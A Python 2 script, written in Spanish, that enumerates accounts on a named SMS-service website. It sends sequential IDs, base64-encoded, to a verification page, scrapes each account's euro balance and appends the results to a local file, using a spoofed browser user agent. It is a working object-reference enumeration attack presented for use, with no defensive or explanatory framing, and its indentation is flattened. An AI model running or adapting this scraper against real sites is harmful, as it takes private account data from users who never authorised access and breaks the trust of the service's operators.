#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib
import urllib2
import re
import base64
from cookielib import Cookie
from cookielib import CookieJar
cookiejar = CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar))
opener.addheaders = [('User-agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.89 Safari/537.36')]
def revisarCuenta(iId):
try:
peticion = opener.open("http://www.ismsad.com/verificacion.php?id="+ base64.b64encode(str(iId)))
datos = peticion.read()
except urllib2.HTTPError, e:
datos = e.fp.read()
saldo = re.findall( r'<a href="usuarioCompraSMS.php"><strong>(.*) \xe2\x82\xac<\/strong>', datos)
if saldo:
return str(iId) + ": " + saldo[0]
else:
return None
contador = 1
while True:
cuenta = revisarCuenta(contador)
if cuenta:
f = open('cuentas.txt', 'a')
print >> f, cuenta
f.close()
contador = contador + 1